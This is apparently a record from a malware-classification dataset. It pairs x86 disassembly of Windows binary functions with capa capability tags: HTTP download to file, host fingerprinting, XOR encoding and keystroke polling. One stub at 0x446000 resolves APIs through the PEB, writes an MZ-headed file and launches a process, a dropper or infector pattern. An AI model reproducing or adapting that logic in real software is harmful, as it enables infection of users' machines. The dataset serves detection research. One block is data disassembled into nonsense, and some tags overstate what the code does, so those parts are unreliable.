joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408e80
Capabilities:
Receive http response

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
mov esi, dword [esp + 0x1c]
push edi
mov dword [eax], 0
xor edi, edi
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + 8]
lea ecx, [esp + 0x10]
push ecx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x408f34
test edi, edi
jne 0x408edb
mov ecx, dword [esp + 0x10]
add ecx, 0x64
push ecx
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x408eee
mov edx, dword [esp + 0x10]
mov ecx, dword [esi]
lea eax, [edx + edi + 0x64]
push eax
push ecx
push 8
call ebp
push eax
call ebx
mov dword [esi], eax
test eax, eax
je 0x408f34
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x20]
push ecx
add eax, edi
push eax
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x408f34
add edi, dword [esp + 0x14]
cmp dword [esp + 0x10], 0
ja 0x408ea3
mov ecx, dword [esp + 0x24]
mov dword [ecx], edi
mov edx, dword [esi]
mov byte [edi + edx], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x408f50
Capabilities:
Receive http response
Write file on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 8
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [esp + 0x18]
mov ebx, eax
lea esp, [esp]
mov edx, dword [edi + 8]
lea ecx, [esp + 0xc]
push ecx
push edx
mov dword [esp + 0x14], 0
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x409023
mov eax, dword [esp + 0xc]
inc eax
push eax
call fcn.0040fece
mov esi, eax
add esp, 4
test esi, esi
je 0x409019
mov ecx, dword [esp + 0xc]
inc ecx
push ecx
push 0
push esi
call fcn.0040fca0
mov eax, dword [esp + 0x18]
mov ecx, dword [edi + 8]
add esp, 0xc
lea edx, [esp + 0x18]
push edx
push eax
push esi
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x409037
mov eax, dword [esp + 0xc]
push 0
lea edx, [esp + 0x14]
push edx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
je 0x40901b
call fcn.0040fe74
add esp, 4
cmp dword [esp + 0xc], 0
ja 0x408f80
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret
push 0
call fcn.0040fe74
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
add esp, 8
ret
push esi
jmp 0x40901b
Function at 0x409130
Capabilities:
Receive http response

Disassembly:
sub esp, 0xc
call fcn.0040ce70
cmp eax, 1
jne 0x409141
xor eax, eax
jmp 0x409145
mov eax, dword [esp + 0x18]
push esi
push edi
lea ecx, [esp + 8]
push ecx
push eax
call fcn.0040c420
mov edx, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push edx
push eax
call fcn.00408d40
mov edi, eax
add esp, 0x14
test edi, edi
je 0x40919a
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test eax, eax
je 0x40917c
push eax
call esi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x409187
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x409192
push eax
call esi
mov eax, edi
pop edi
pop esi
add esp, 0xc
ret
mov esi, dword [esp + 0x10]
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x4091c3
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x4091d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
je 0x4091d7
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x4091f5
mov ecx, dword [esp + 0x28]
push ecx
lea edx, [esp + 0x10]
push edx
call fcn.00408f50
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40921b
test esi, esi
je 0x4091fc
push esi
call edi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x409207
push eax
call edi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x409212
push eax
call edi
mov eax, ebx
pop ebx
pop edi
pop esi
add esp, 0xc
ret
test esi, esi
je 0x409222
push esi
call edi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40922d
push eax
call edi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x409238
push eax
call edi
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0xc
ret

Function at 0x40a2b0
Capabilities:
Create thread

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
push edi
push eax
call fcn.0040d8b0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, eax
add esp, 4
lea esi, [ebx*4]
push esi
push 8
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebp
push esi
push 8
mov dword [esp + 0x18], eax
call edi
push eax
call ebp
xor esi, esi
mov dword [esp + 0x14], eax
test ebx, ebx
je 0x40a333
mov ebp, dword [esp + 0x10]
mov edi, eax
sub ebp, eax
nop
mov ecx, dword [esp + 0x1c]
push esi
push ecx
call fcn.0040d8d0
add esp, 8
push 0
push 0
push eax
push 0x409f50
push 0
push 0
mov dword [edi + ebp], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi], eax
inc esi
add edi, 4
cmp esi, ebx
jb 0x40a300
mov eax, dword [esp + 0x14]
push eax
push ebx
call fcn.004098d0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x40b8d0
Capabilities:
Get common file path
Get disk information
Get mac address on windows

Disassembly:
sub esp, 0x468
mov eax, dword [0x421020]
xor eax, esp
mov dword [esp + 0x464], eax
push ebx
push esi
mov esi, dword [esp + 0x474]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
push edi
lea eax, [esp + 0xc]
push eax
push 0
mov dword [esp + 0x14], 0
mov byte [esi], 1
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov ecx, dword [esp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ecx
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea edx, [esp + 0xc]
mov edi, eax
push edx
push edi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov eax, edi
test edi, edi
je 0x40b964
mov ecx, 6
cmp dword [eax + 0x1a0], ecx
je 0x40b950
mov eax, dword [eax]
test eax, eax
jne 0x40b940
jmp 0x40b964
mov ecx, dword [eax + 0x194]
mov dword [esi + 6], ecx
mov dx, word [eax + 0x198]
mov word [esi + 0xa], dx
push edi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x400
lea eax, [esp + 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 8
lea ecx, [esp + 0x74]
push ecx
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0x40
xor eax, eax
lea ecx, [esp + 0x34]
push ecx
push eax
lea edx, [esp + 0x20]
push edx
mov word [esp + 0x2e], ax
lea eax, [esp + 0x20]
push eax
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
mov eax, 1
je 0x40b9ca
mov edx, dword [esp + 0x10]
mov dword [esi + 0xc], edx
mov ecx, dword [esp + 0x470]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040faab
add esp, 0x468
ret
Function at 0x40b9f0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x14
mov eax, dword [0x421020]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push esi
push edi
mov edi, dword [esp + 0x24]
lea eax, [esp + 0xc]
push eax
call fcn.0040b8d0
mov dl, byte [esp + 0x30]
mov cl, byte [esp + 0x2c]
add esp, 4
lea eax, [esp + 0x1a]
mov esi, 4
xor byte [eax + 1], cl
mov cl, byte [eax + 1]
add cl, dl
xor byte [eax], cl
mov cl, byte [eax]
add cl, dl
xor byte [eax - 1], cl
mov cl, byte [eax - 1]
add cl, dl
xor byte [eax - 2], cl
mov cl, byte [eax - 2]
add cl, dl
sub eax, 4
dec esi
jne 0x40ba23
mov esi, edi
call fcn.0040cbf0
xor ecx, ecx
mov dl, byte [esp + ecx + 0xc]
movzx ebx, dl
movsx edx, dl
shr ebx, 4
movsx ebx, byte [ebx + eax]
mov word [esi], bx
and edx, 0xf
movsx edx, byte [edx + eax]
mov word [esi + 2], dx
mov dl, byte [esp + ecx + 0xd]
movzx ebx, dl
movsx edx, dl
shr ebx, 4
movsx ebx, byte [ebx + eax]
mov word [esi + 4], bx
and edx, 0xf
movsx edx, byte [edx + eax]
mov word [esi + 6], dx
mov dl, byte [esp + ecx + 0xe]
movzx ebx, dl
shr ebx, 4
movsx ebx, byte [ebx + eax]
movsx edx, dl
mov word [esi + 8], bx
and edx, 0xf
movsx edx, byte [edx + eax]
mov word [esi + 0xa], dx
mov dl, byte [esp + ecx + 0xf]
movzx ebx, dl
shr ebx, 4
movsx ebx, byte [ebx + eax]
movsx edx, dl
mov word [esi + 0xc], bx
and edx, 0xf
movsx edx, byte [edx + eax]
mov word [esi + 0xe], dx
add ecx, 4
add esi, 0x10
cmp ecx, 0x10
jl 0x40ba50
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov word [edi + 0x40], ax
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040faab
add esp, 0x14
ret

Function at 0x40cea0
Capabilities:
Check os version

Disassembly:
push ecx
push esi
push edi
push 0x423d40
mov dword [0x423d40], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [0x423d50], 2
jne 0x40cf23
mov eax, dword [0x423d44]
cmp eax, 5
jb 0x40cf23
cmp eax, 6
jne 0x40cf0c
mov eax, dword [0x423d48]
cmp eax, 3
jne 0x40cee3
call fcn.0040c540
mov esi, eax
jmp 0x40cf30
cmp eax, 2
jne 0x40cef1
call fcn.0040c560
mov esi, eax
jmp 0x40cf30
cmp eax, 1
jne 0x40ceff
call fcn.0040c580
mov esi, eax
jmp 0x40cf30
test eax, eax
jne 0x40cf2c
call fcn.0040c5a0
mov esi, eax
jmp 0x40cf30
cmp eax, 0xa
jne 0x40cf1a
call fcn.0040c520
mov esi, eax
jmp 0x40cf30
call fcn.0040c5c0
mov esi, eax
jmp 0x40cf30
call fcn.0040c4f0
mov esi, eax
jmp 0x40cf30
mov esi, dword [esp + 8]
call fcn.0040c4b0
push eax
call fcn.0040c440
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x40cf67
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x40cf67
mov al, byte [esp + 8]
jmp 0x40cf69
xor al, al
movsx ecx, al
neg ecx
sbb ecx, ecx
and ecx, 0x20
add ecx, 0x20
push ecx
push esi
push str._s__d
push 0x400
push 0x423940
call fcn.004014b0
add esp, 0x14
pop edi
mov eax, 0x423940
pop esi
pop ecx
ret
Function at 0x40efc0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
lea ebx, [eax + ecx - 0x21524111]
mov ecx, dword [esp + 0xc]
push esi
push edi
mov esi, ebx
mov ebp, ebx
cmp eax, 0xc
jbe switch.0x0040f0b3
lea edx, [eax - 0xd]
mov eax, 0xaaaaaaab
mul edx
shr edx, 3
inc edx
mov dword [esp + 0x14], edx
movzx eax, byte [ecx + 7]
movzx edx, byte [ecx + 6]
movzx edi, byte [ecx + 4]
shl eax, 8
add eax, edx
movzx edx, byte [ecx + 5]
shl eax, 8
add eax, edx
movzx edx, byte [ecx + 0xa]
add edi, esi
shl eax, 8
add edi, eax
movzx eax, byte [ecx + 0xb]
movzx esi, byte [ecx + 2]
shl eax, 8
add eax, edx
movzx edx, byte [ecx + 9]
shl eax, 8
add eax, edx
movzx edx, byte [ecx + 8]
add ebx, edx
movzx edx, byte [ecx + 3]
shl edx, 8
add edx, esi
movzx esi, byte [ecx + 1]
shl edx, 8
add edx, esi
movzx esi, byte [ecx]
shl eax, 8
add ebx, eax
shl edx, 8
add edx, esi
sub edx, ebx
add edx, ebp
mov eax, ebx
rol eax, 4
add ebx, edi
xor eax, edx
sub edi, eax
mov esi, eax
rol esi, 6
xor esi, edi
sub dword [esp + 0x18], 0xc
add eax, ebx
sub ebx, esi
mov edi, esi
rol edi, 8
xor edi, ebx
add esi, eax
sub eax, edi
mov ebp, edi
rol ebp, 0x10
xor ebp, eax
add edi, esi
sub esi, ebp
mov eax, ebp
ror eax, 0xd
xor esi, eax
add ebp, edi
mov ebx, esi
sub edi, esi
rol ebx, 4
xor ebx, edi
add esi, ebp
add ecx, 0xc
dec dword [esp + 0x14]
jne 0x40eff2
cmp dword [esp + 0x18], 0xc
ja case.default.0x40f0b3
mov eax, dword [esp + 0x18]
jmp dword [eax*4 + 0x40f170]
movzx eax, byte [ecx + 0xb]
shl eax, 0x18
add ebx, eax
movzx edx, byte [ecx + 0xa]
shl edx, 0x10
add ebx, edx
movzx eax, byte [ecx + 9]
shl eax, 8
add ebx, eax
movzx edx, byte [ecx + 8]
add ebx, edx
movzx eax, byte [ecx + 7]
shl eax, 0x18
add esi, eax
movzx edx, byte [ecx + 6]
shl edx, 0x10
add esi, edx
movzx eax, byte [ecx + 5]
shl eax, 8
add esi, eax
movzx edx, byte [ecx + 4]
add esi, edx
movzx eax, byte [ecx + 3]
shl eax, 0x18
add ebp, eax
movzx edx, byte [ecx + 2]
shl edx, 0x10
add ebp, edx
movzx eax, byte [ecx + 1]
shl eax, 8
add ebp, eax
movzx ecx, byte [ecx]
add ebp, ecx
xor ebx, esi
mov edx, esi
rol edx, 0xe
sub ebx, edx
mov eax, ebx
rol eax, 0xb
mov ecx, ebx
xor ecx, ebp
sub ecx, eax
xor esi, ecx
mov edx, ecx
ror edx, 7
sub esi, edx
xor ebx, esi
mov eax, esi
rol eax, 0x10
sub ebx, eax
mov eax, ebx
mov edi, eax
rol edi, 4
mov edx, eax
xor edx, ecx
sub edx, edi
mov ecx, edx
xor esi, edx
rol ecx, 0xe
sub esi, ecx
pop edi
mov edx, esi
xor eax, esi
pop esi
ror edx, 8
pop ebp
sub eax, edx
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret

Function at 0x40faab
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x421020]
jne 0x40fab5
repz ret
jmp fcn.004116dc
Function at 0x417efc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x421020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00412cf7
and dword [ebp - 0x14], 0
cmp dword [0x424a50], 0
mov dword [ebp - 0x18], eax
jne 0x417faf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x418057
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x418057
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x424a50], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x424a54], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x424a58], eax
call edi
push eax
call esi
mov dword [0x424a60], eax
test eax, eax
je 0x417faf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x424a5c], eax
mov eax, dword [0x424a5c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x418008
cmp dword [0x424a60], ecx
je 0x418008
push eax
call esi
push dword [0x424a60]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x418008
test ebx, ebx
je 0x418008
call edi
test eax, eax
je 0x417fff
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x417fff
test byte [ebp - 8], 1
jne 0x418008
or dword [ebp + 0x10], 0x200000
jmp 0x41803b
mov eax, dword [0x424a54]
cmp eax, dword [ebp - 0x18]
je 0x41803b
push eax
call esi
test eax, eax
je 0x41803b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41803b
mov eax, dword [0x424a58]
cmp eax, dword [ebp - 0x18]
je 0x41803b
push eax
call esi
test eax, eax
je 0x41803b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x424a50]
call esi
test eax, eax
je 0x418057
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x418059
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040faab
leave
ret
Function at 0x446000
Capabilities:
Accept command line arguments
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports
Terminate process

Disassembly:
call 0x446005
pop ebx
sub ebx, 0x400235
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov edi, dword [edi + 0x1c]
mov edi, dword [edi]
mov edi, dword [edi + 8]
mov dword [ebx + 0x4003c2], edi
mov esi, edi
add esi, dword [esi + 0x3c]
mov esi, dword [esi + 0x78]
add esi, edi
push esi
mov ebp, dword [esi + 0x18]
mov esi, dword [esi + 0x20]
add esi, edi
xor edx, edx
push esi
mov edi, dword [esi]
add edi, dword [ebx + 0x4003c2]
lea esi, [ebx + 0x400387]
mov ecx, 0xf
repe cmpsb byte [esi], byte es:[edi]
jne 0x446057
pop esi
mov edx, esi
pop esi
jmp 0x446068
pop esi
add esi, 4
inc edx
cmp edx, ebp
jb 0x446039
sub esp, 4
jmp 0x446182
sub edx, dword [esi + 0x20]
mov eax, dword [ebx + 0x4003c2]
sub edx, eax
shr edx, 1
add edx, dword [esi + 0x24]
add edx, eax
movzx eax, word [edx]
shl eax, 2
add eax, dword [esi + 0x1c]
add eax, dword [ebx + 0x4003c2]
mov eax, dword [eax]
add eax, dword [ebx + 0x4003c2]
mov edi, eax
mov ebp, esp
mov edx, dword [ebx + 0x4003c2]
lea eax, [ebx + 0x400396]
push eax
push edx
call edi
sub esp, 0x104
push esp
push 0x104
call eax
lea eax, [ebx + 0x4003a3]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
lea ecx, [ebx + 0x4003ac]
push ecx
mov ecx, esp
add ecx, 4
push ecx
call eax
lea eax, [ebx + 0x4003b6]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
mov ecx, esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call eax
mov esi, eax
lea ecx, [ebx + 0x4003ed]
push ecx
push ecx
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
pop ecx
push 0
push ecx
add ecx, 0xa
mov edx, dword [ecx]
push edx
push ecx
mov edx, 0x905a4d
mov dword [ecx], edx
push esi
call eax
lea eax, [ebx + 0x4003d5]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
push esi
call eax
lea eax, [ebx + 0x4003c6]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
sub esp, 0x44
mov edx, esp
mov esi, 0
mov ecx, 0x11
mov dword [edx], esi
add edx, 4
loop 0x446153
mov edx, 0x44
mov dword [esp], edx
sub esp, 0x10
mov edx, esp
push esp
add edx, 0x10
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
add edx, 0x44
push edx
call eax
mov esp, ebp
jmp fcn.00406c40
Function at 0x44a410
Capabilities:
Accept command line arguments
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
mov edi, eax
call ebx
test ax, ax
jge 0x44a43a
or dword [esi], 0x2000000
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x11
mov edi, eax
call ebx
test ax, ax
jge 0x44a457
or dword [esi], 0x4000000
test edi, edi
je 0x44a46d
mov ecx, dword [0x651cf4]
push 0x651a28
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0x12
call ebx
test ax, ax
jge 0x44a47c
or dword [esi], 0x8000000
mov eax, esi
pop edi
pop esi
pop ebx
ret

Function at 0x56da6c
Capabilities:
Authenticate hmac

Disassembly:
mov edi, 0x7e5ea3ad
xor dword [eax - 0x40dbe1d0], esp
sbb al, 0x36
sbb eax, 0xb84d4806
sbb eax, 0x12e2742c
lodsb al, byte [esi]
cmp byte [ecx + 0x358e0e08], al
invalid
and bh, ch
popal
jle 0x56da32
in eax, dx
jecxz 0x56dae2
push ds
pop edi
xor al, bh
add bl, byte [ebp - 0x329b3c0c]
fsub qword [ebp + 0x7ded3b91]
invalid
or byte [esi - 0x80], 0x7d
and byte [0x882fab80], ah
invalid

Function at 0x571ea0
Capabilities:
Authenticate hmac

Disassembly:
cmp ecx, 0
je 0x571fae
push eax
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
cmp al, 0xa
je 0x571eeb
cmp al, 0x12
je 0x571f25
cmp al, 0xb
je 0x571f08
cmp al, 0xc
je 0x571f3c
cmp al, 0xd
je 0x571f4b
cmp al, 0xe
je 0x571f69
cmp al, 0xf
je 0x571f7f
cmp al, 0x11
je 0x571f8e
jmp 0x571f9f
cmp ecx, 1
mov eax, ebx
jg 0x571efc
call fcn.00570820
jmp 0x571faa
mov edx, ecx
call fcn.0057088c
jmp 0x571faa
cmp ecx, 1
mov eax, ebx
jg 0x571f19
call fcn.00570844
jmp 0x571faa
mov edx, ecx
call fcn.005708bc
jmp 0x571faa
cmp ecx, 1
mov eax, ebx
jg 0x571f33
call fcn.005707fc
jmp 0x571faa
mov edx, ecx
call fcn.0057085c
jmp 0x571faa
mov eax, ebx
add ebx, 0x10
call fcn.00571e88
dec edi
jg 0x571f3c
jmp 0x571faa
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call fcn.00571ea0
dec edi
jg 0x571f4e
pop ebp
jmp 0x571faa
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00571e50
dec edi
jg 0x571f6c
pop ebp
jmp 0x571faa
mov eax, ebx
add ebx, 4
call fcn.0057417c
dec edi
jg 0x571f7f
jmp 0x571faa
mov eax, ebx
mov edx, esi
add ebx, 4
call fcn.00572c04
dec edi
jg 0x571f8e
jmp 0x571faa
pop edi
pop esi
pop ebx
pop eax
mov al, 2
jmp fcn.0056da6c
pop edi
pop esi
pop ebx
pop eax
ret
Function at 0x5720e4
Capabilities:
Authenticate hmac

Disassembly:
push ebx
push esi
push edi
push ebp
push 0
mov ebx, eax
mov esi, edx
xor eax, eax
mov al, byte [ecx + 1]
lea edi, [eax + ecx + 0xa]
mov ebp, dword [edi - 4]
xor eax, eax
mov ecx, dword [edi - 8]
test ebp, ebp
je 0x57220f
push ecx
mov ecx, dword [edi + 4]
sub ecx, eax
jle 0x57211a
mov edx, eax
add eax, esi
add edx, ebx
call fcn.0056db50
mov eax, dword [edi + 4]
mov edx, dword [edi]
mov edx, dword [edx]
mov cl, byte [edx]
cmp cl, 0xf
je 0x5721df
cmp cl, 0xa
je 0x57215f
cmp cl, 0xb
je 0x572184
cmp cl, 0x12
je 0x572173
cmp cl, 0xc
je 0x572195
cmp cl, 0xd
je 0x5721a6
cmp cl, 0xe
je 0x5721c6
cmp cl, 0x11
je 0x5721f0
mov al, 2
pop ecx
pop ebp
pop edi
pop esi
pop ebx
jmp fcn.0056da6c
mov edx, dword [eax + esi]
add eax, ebx
call fcn.00570c78
mov eax, 4
jmp 0x572201
mov edx, dword [eax + esi]
add eax, ebx
call fcn.00570bdc
mov eax, 4
jmp 0x572201
mov edx, dword [eax + esi]
add eax, ebx
call fcn.00570c50
mov eax, 4
jmp 0x572201
lea edx, [eax + esi]
add eax, ebx
call fcn.005720cc
mov eax, 0x10
jmp 0x572201
xor ecx, ecx
mov cl, byte [edx + 1]
push dword [ecx + edx + 2]
push dword [ecx + edx + 6]
mov ecx, dword [ecx + edx + 0xa]
mov ecx, dword [ecx]
lea edx, [eax + esi]
add eax, ebx
call fcn.00572228
pop eax
jmp 0x572201
xor ecx, ecx
mov cl, byte [edx + 1]
mov ecx, dword [ecx + edx + 2]
push ecx
mov ecx, edx
lea edx, [eax + esi]
add eax, ebx
call fcn.005720e4
pop eax
jmp 0x572201
mov edx, dword [eax + esi]
add eax, ebx
call fcn.00574194
mov eax, 4
jmp 0x572201
mov ecx, edx
mov edx, dword [eax + esi]
add eax, ebx
call fcn.00572c40
mov eax, 4
add eax, dword [edi + 4]
add edi, 8
dec ebp
jne 0x572108
pop ecx
sub ecx, eax
jle 0x57221d
lea edx, [eax + ebx]
add eax, esi
call fcn.0056db50
add esp, 4
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x572228
Capabilities:
Authenticate hmac

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov esi, edx
mov edi, ecx
mov ebp, dword [esp + 0x14]
mov cl, byte [edi]
cmp cl, 0xa
je 0x572277
cmp cl, 0xb
je 0x57228e
cmp cl, 0x12
je 0x5722a5
cmp cl, 0xc
je 0x5722b9
cmp cl, 0xd
je 0x5722cd
cmp cl, 0xe
je 0x5722f0
cmp cl, 0xf
je 0x57230d
cmp cl, 0x11
je 0x572321
mov al, 2
pop ebp
pop edi
pop esi
pop ebx
jmp fcn.0056da6c
mov eax, ebx
mov edx, dword [esi]
call fcn.00570c78
add ebx, 4
add esi, 4
dec ebp
jne 0x572277
jmp 0x572335
mov eax, ebx
mov edx, dword [esi]
call fcn.00570c50
add ebx, 4
add esi, 4
dec ebp
jne 0x57228e
jmp 0x572335
mov eax, ebx
mov edx, dword [esi]
call fcn.00570bdc
add ebx, 4
add esi, 4
dec ebp
jne 0x5722a5
jmp 0x572335
mov eax, ebx
mov edx, esi
call fcn.005720cc
add ebx, 0x10
add esi, 0x10
dec ebp
jne 0x5722b9
jmp 0x572335
xor ecx, ecx
mov cl, byte [edi + 1]
lea edi, [ecx + edi + 2]
mov eax, ebx
mov edx, esi
mov ecx, dword [edi + 8]
mov ecx, dword [ecx]
push dword [edi + 4]
call fcn.00572228
add ebx, dword [edi]
add esi, dword [edi]
dec ebp
jne 0x5722d6
jmp 0x572335
mov eax, ebx
mov edx, esi
mov ecx, edi
call fcn.005720e4
xor eax, eax
mov al, byte [edi + 1]
add ebx, dword [eax + edi + 2]
add esi, dword [eax + edi + 2]
dec ebp
jne 0x5722f0
jmp 0x572335
mov eax, ebx
mov edx, dword [esi]
call fcn.00574194
add ebx, 4
add esi, 4
dec ebp
jne 0x57230d
jmp 0x572335
mov eax, ebx
mov edx, dword [esi]
mov ecx, edi
call fcn.00572c40
add ebx, 4
add esi, 4
dec ebp
jne 0x572321
pop ebp
pop edi
pop esi
pop ebx
ret 4